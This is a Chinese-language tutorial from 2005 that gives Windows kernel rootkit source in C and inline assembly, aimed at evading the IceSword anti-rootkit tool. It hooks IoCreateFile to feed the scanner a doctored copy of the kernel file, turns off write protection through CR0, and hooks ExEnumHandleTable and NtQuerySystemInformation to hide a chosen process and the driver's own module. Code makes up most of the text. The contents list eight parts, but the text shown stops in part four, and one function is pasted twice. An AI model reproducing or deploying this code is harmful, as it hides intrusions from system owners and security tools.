作者:倪茂志
邮件:backspray008@gmail.com
完成于:2005.12.20
文章分为八个部分:
一、为什么需要伪造内核
二、伪造内核文件
三、隐藏进程
四、隐藏内核模块
五、隐藏服务
六、隐藏注册表
七、隐藏文件
八、关于端口
另:建议先看看最后那些参考文章。
一、为什么需要伪造内核:
IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被patch,它直接读取内核文件(以下简称“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。
治病还是得治本,也许你想过不如直接修改ntoskrnl.exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用:
1、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。
2、就算你停止了系统文件保护,也成功修改了ntoskrnl.exe,但是你不能保证系统每次都能正常关机
假如系统非法关机重启,由于你还来未对ntoskrnl.exe进行还原,此时会发生什么情况我也就不多说了。
而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点:
1、截获并修改IS打开ntoskrnl.exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl.exe”)
2、在内核文件中定位我们要修改的数据。
3、隐藏我们伪造的“otoskrnl.exe”,这点请看本文的第七部分。
二、 伪造内核文件:
先说一下本文hook函数的方式:
1、取该函数起始地址的前六个字节内容保留在unsigned char resume[6]中。
2、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到unsigned char crackcode[6](这两条指令刚好六个字节)中。
3、把该函数起始址的6个字节替换成crackcode[6]的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。
而我们构造的xxxxxxxx函数的主要结构如下:
1、把我们hook的那个函数起始的前6个字节用resume[6]内容进行还原。
2、对传递的程序参数进行处理等。
3、调用被还原后的函数。
4、此时可以处理函数返回后的数据等。
5、把还原后的那个函数的起始地址前6个字节再用crackcode[6]内容进行替换。
6、返回。
IS是通过IoCreateFile函数来打开ntoskrnl.exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开ntoskrnl.exe的话,我们把文件名替换成otoskrnl.exe再扔回去就OK了。这样所有针对于ntoskrnl.exe文件的操作都会指向otoskrnl.exe, 当然前提是你在进入驱动前记得先把ntoskrnl.exe在原目录下复制一份并命名为otoskrnl.exe。
关于我们要修改的数据在ntoskrnl.exe中偏移的算法也很简单,这里给出公式如下:
函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址
举个例子来说,假设IoCreateFile在内核中的内存地址是0x8056d1234,由于它是在内存中ntoskrnl.exe模块中,假设ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盘上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。
再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的6前六节的数据XXXXXX变成了YYYYYY。那么你只要打开otoskrnl.exe,把文件偏移调整到上面所说的0x110123处,在写入6个字节的数据YYYYYY。那么当IS打开otoskrnl.exe的话,读出的数据就是YYYYYY了!
下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一个功能就是进行伪造内核(函数RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode[6]第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl.exe文件中进行定位,然后再把crackcode[6]内容写进去。
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#include "string.h"
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
PCWSTR NTOSKRNL=L"ntoskrnl.exe"
unsigned char ResumCodeIoCreateFile[6];
unsigned char CrackCodeIoCreateFile[6];
typedef NTSTATUS ( *IOCREATEFILE )(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG Disposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength,
IN CREATE_FILE_TYPE CreateFileType,
IN PVOID ExtraCreateParameters OPTIONAL,
IN ULONG Options );
IOCREATEFILE OldIoCreateFile;
DWORD GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
{
NTSTATUS Status;
HANDLE FileHandle;
OBJECT_ATTRIBUTES FObject;
IO_STATUS_BLOCK IOSB;
UNICODE_STRING FileName;
LARGE_INTEGER NtosFileOffset;
RtlInitUnicodeString (
&FileName,
L"\\SystemRoot\\system32\\otoskrnl.exe" );
InitializeObjectAttributes (
&FObject,
&FileName,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
Status = ZwCreateFile(
&FileHandle,
FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
&FObject,
&IOSB,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE,
NULL,
0
);
if ( Status != STATUS_SUCCESS )
{
return Status;
}
//下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是
//Ntoskrnl.exe在内存中的起始地址,在第四部分隐藏内核模块
//时会提到它的获取方法。
NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;
Status = ZwWriteFile(
FileHandle,
NULL,
NULL,
NULL,
&IOSB,
(unsigned char *)RepairDataPtr,
0x6,
&NtosFileOffset,
NULL);
if ( Status != STATUS_SUCCESS )
{
return Status;
}
Status = ZwClose( FileHandle );
if ( Status != STATUS_SUCCESS )
{
return Status;
}
return STATUS_SUCCESS;
}
NTSTATUS NewIoCreateFile (
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG Disposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength,
IN CREATE_FILE_TYPE CreateFileType,
IN PVOID ExtraCreateParameters OPTIONAL,
IN ULONG Options )
{
NTSTATUS Status;
PCWSTR IsNtoskrnl = NULL;
PCWSTR FileNameaddr=NULL;
_asm //对IoCreateFile函数进行还原
{
pushad
mov edi, OldIoCreateFile
mov eax, dword ptr ResumCodeIoCreateFile[0]
mov [edi], eax
mov ax, word ptr ResumCodeIoCreateFile[4]
mov [edi+4], ax
popad
}
_asm //获取要打开的文件名地址
{
pushad
mov edi, ObjectAttributes
mov eax, [edi+8]
mov edi, [eax+4]
mov FileNameaddr, edi
popad
}
IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判断是否时打开ntoskrnl.exe
if ( IsNtoskrnl != NULL )
{
_asm //是的话,则把ntoskrnl.exe替换成otoskrnl.exe
{
pushad
mov edi, IsNtoskrnl
mov [edi], 0x006F
popad
}
}
Status = OldIoCreateFile (
FileHandle,
DesiredAccess,
ObjectAttributes,
IoStatusBlock,
AllocationSize OPTIONAL,
FileAttributes,
ShareAccess,
Disposition,
CreateOptions,
EaBuffer OPTIONAL,
EaLength,
CreateFileType,
ExtraCreateParameters OPTIONAL,
Options );
_asm //把还原后的代码又替换成我们伪造的代码
{
pushad
mov edi, OldIoCreateFile
mov eax, dword ptr CrackCodeIoCreateFile[0]
mov [edi], eax
mov ax, word ptr CrackCodeIoCreateFile[4]
mov [edi+4], ax
popad
}
return Status;
}
NTSTATUS PatchIoCreateFile()
{
NTSTATUS Status;
OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");
if ( OldIoCreateFile == NULL )
{
DbgPrint("Get IoCreateFile Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取 IoCreateFile 函数的地址并保留该函数的起始六个字节
mov edi, OldIoCreateFile
mov eax, [edi]
mov dword ptr ResumCodeIoCreateFile[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeIoCreateFile[4], ax
//构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行
mov byte ptr CrackCodeIoCreateFile[0], 0x68
lea edi, NewIoCreateFile
mov dword ptr CrackCodeIoCreateFile[1], edi
mov byte ptr CrackCodeIoCreateFile[5], 0xC3
//把构造好的代码进心替换
mov edi, OldIoCreateFile
mov eax, dword ptr CrackCodeIoCreateFile[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeIoCreateFile[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldIoCreateFile,
(DWORD)(&CrackCodeIoCreateFile));
return Status;
}
上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr()(用来获取函数地址)以及RepairNtosFile()(功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再2K及XP下测试并通过。笔者在写这些代码时虽然兼顾到了2K3,但是笔者并没有在2K3中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯16进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。
三、 隐藏进程
对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接return。这样就起到隐藏进程的作用。
以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。
下面的代码中,GetProcessID()函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。
PatchExEnumHandleTable()函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation ()函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。
HANDLE ProtectID;
unsigned char ResumCodeExEnumHandleTable[6];
unsigned char CrackCodeExEnumHandleTable[6];
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
typedef VOID (*EXENUMHANDLETABLE)
(
PULONG HandleTable,
PVOID Callback,
PVOID Param,
PHANDLE Handle OPTIONAL
);
EXENUMHANDLETABLE OldExEnumHandleTable;
typedef BOOL (*EXENUMHANDLETABLECALLBACK)
(
DWORD HANDLE_TALBE_ENTRY,
DWORD PID,
PVOID Param
);
EXENUMHANDLETABLECALLBACK OldCallback;
NTSTATUS GetProcessID (
IN PUNICODE_STRING theRegistryPath
)
{
OBJECT_ATTRIBUTES ObjectAttributes;
NTSTATUS Status;
HANDLE KeyHandle;
PHANDLE Phandle;
PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
ULONG valueInfoLength,returnLength;
UNICODE_STRING UnicodeProcIDreg;
InitializeObjectAttributes (
&ObjectAttributes,
theRegistryPath,
OBJ_CASE_INSENSITIVE,
NULL,
NULL );
Status = ZwOpenKey (
&KeyHandle,
KEY_ALL_ACCESS,
&ObjectAttributes );
if (Status != STATUS_SUCCESS)
{
DbgPrint("ZwOpenKey Wrong\n");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
RtlInitUnicodeString (
&UnicodeProcIDreg,
L"ProcessID" );
valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);
valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
NonPagedPool,
valueInfoLength );
Status = ZwQueryValueKey (
KeyHandle,
&UnicodeProcIDreg,
KeyValuePartialInformation,
valueInfoP,
valueInfoLength,
&returnLength );
if (Status != STATUS_SUCCESS)
{
DbgPrint("ZwOpenKey Wrong\n");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
Phandle = (PHANDLE)(valueInfoP->Data);
ProtectID = *Phandle;
ZwClose(KeyHandle);
return STATUS_SUCCESS;
}
BOOL FilterCallback (
DWORD HANDLE_TALBE_ENTRY,
DWORD PID,
PVOID Param )
{
if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程
{
return OldCallback (
HANDLE_TALBE_ENTRY,
PID,
Param );
}
else
{
return FALSE; //是的话直接返回
}
}
BOOL FilterCallback (
DWORD HANDLE_TALBE_ENTRY,
DWORD PID,
PVOID Param )
{
if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程
{
return OldCallback (
HANDLE_TALBE_ENTRY,
PID,
Param );
}
else
{
return FALSE; //是的话直接返回
}
}
VOID NewExEnumHandleTable(
PULONG HandleTable,
PVOID Callback,
PVOID Param,
PHANDLE Handle OPTIONAL )
{
OldCallback = Callback; //把Callback参数给OldCallback进行保留
Callback = FilterCallback; //用FilterCallback替换调原来的Callback
_asm //还原
{
pushad
mov edi, OldExEnumHandleTable
mov eax, dword ptr ResumCodeExEnumHandleTable[0]
mov [edi], eax
mov ax, word ptr ResumCodeExEnumHandleTable[4]
mov [edi+4], ax
popad
}
OldExEnumHandleTable (
HandleTable,
Callback,
Param,
Handle OPTIONAL );
_asm //替换
{
pushad
mov edi, OldExEnumHandleTable
mov eax, dword ptr CrackCodeExEnumHandleTable[0]
mov [edi], eax
mov ax, word ptr CrackCodeExEnumHandleTable[4]
mov [edi+4], ax
popad
}
return ;
}
NTSTATUS PatchExEnumHandleTable()
{
NTSTATUS Status;
OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");
if ( OldExEnumHandleTable == NULL )
{
DbgPrint("Get ExEnumHandleTable Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节
mov edi, OldExEnumHandleTable
mov eax, [edi]
mov dword ptr ResumCodeExEnumHandleTable[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeExEnumHandleTable[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行
mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
lea edi, NewExEnumHandleTable
mov dword ptr CrackCodeExEnumHandleTable[1], edi
mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3
//把构造好的代码进心替换
mov edi, OldExEnumHandleTable
mov eax, dword ptr CrackCodeExEnumHandleTable[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeExEnumHandleTable[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldExEnumHandleTable,
(DWORD)(&CrackCodeExEnumHandleTable) );
return Status;
}
NTSTATUS NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL )
{
NTSTATUS Status;
DWORD Bprocess;
_asm
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
Status=OldNtQuerySystemInformation (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL );
_asm
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
{
return Status;
}
_asm
{
pushad
mov ecx, ProtectID
mov edi, SystemInformation
ProcessListNEnd:
mov Bprocess, edi
mov eax, [edi]
test eax, eax
jz ProcessListEnd
add edi, eax
mov eax, [edi+0x44]
cmp eax, ecx
jz FindOut
jmp ProcessListNEnd
FindOut:
mov ebx, [edi]
test ebx, ebx
jz listend
mov eax, Bprocess
mov edx, [eax]
add ebx, edx
mov [eax], ebx
jmp hideOK
listend:
mov eax, Bprocess
mov [eax], 0
hideOK:
ProcessListEnd:
popad
}
return Status;
}
NTSTATUS PatchNtQuerySystemInformation ()
{
NTSTATUS Status;
OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");
if ( OldNtQuerySystemInformation == NULL )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
mov edi, OldNtQuerySystemInformation
mov eax, [edi]
mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeNtQuerySystemInformation[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
lea edi, NewNtQuerySystemInformation
mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把构造好的代码进心替换
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldNtQuerySystemInformation,
(DWORD)(&CrackCodeNtQuerySystemInformation) );
return Status;
}
四、隐藏内核模块
对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果1。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果2。再把结果1与结果2进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果2的过程。而没有去执行获取结果1的过程。
下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用DriverAddr在上述的结果2中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
NTSTATUS NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL )
{
NTSTATUS Status;
_asm //还原
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
Status = ZwQuerySystemInformation (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL );
_asm //替换
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb ) //是否是获取模块信息
{
return Status;
}
_asm
{
pushad
mov edi, SystemInformation
mov ecx, [edi] //eax=模块数目
add edi, 0x4
NextModuleInfo:
mov eax, [edi+0x8]
mov edx, [edi+0xC]
add edx, eax
mov ebx, DriverAddr
cmp ebx, eax
ja FirstMatch
dec ecx
test ecx, ecx
jz ArrayEnd
add edi, 0x11c
jmp NextModuleInfo
FirstMatch:
cmp ebx, edx
jb SecMatch //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块
dec ecx
test ecx, ecx
jz ArrayEnd
add edi, 0x11c
jmp NextModuleInfo
SecMatch:
dec ecx
xor eax, eax
mov ax, 0x11c
mul cx
xor ecx, ecx
mov ecx, eax
mov esi, edi
add esi, 0x11c
rep movsb
mov edi, SystemInformation
mov eax, [edi]
dec eax
mov [edi], eax //完成
ArrayEnd:
popad
}
return Status;
}
NTSTATUS PatchNtQuerySystemInformation()
{
NTSTATUS Status;
OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );
if ( OldNtQuerySystemInformation == NULL )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
lea eax, NewNtQuerySystemInformation
mov DriverAddr, eax //把NewNtQuerySystemInformation函数地址给DriverAddr
mov edi, OldNtQuerySystemInformation
mov eax, [edi]
mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeNtQuerySystemInformation[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
lea edi, NewNtQuerySystemInformation
mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把构造好的代码进行替换
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile (
(DWORD)OldNtQuerySystemInformation,
(DWORD)&CrackCodeNtQuerySystemInformation[0] );
return Status;
}
你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的资源中给出了MODULE_ENTRY的结构定义如下:
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORD unknown[4];
DWORD base;
DWORD driver_start;
DWORD unk1;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
|